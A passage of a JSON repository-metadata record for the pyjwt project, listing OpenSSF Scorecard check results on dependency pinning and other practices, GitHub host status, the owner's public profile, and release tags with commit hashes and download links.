https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"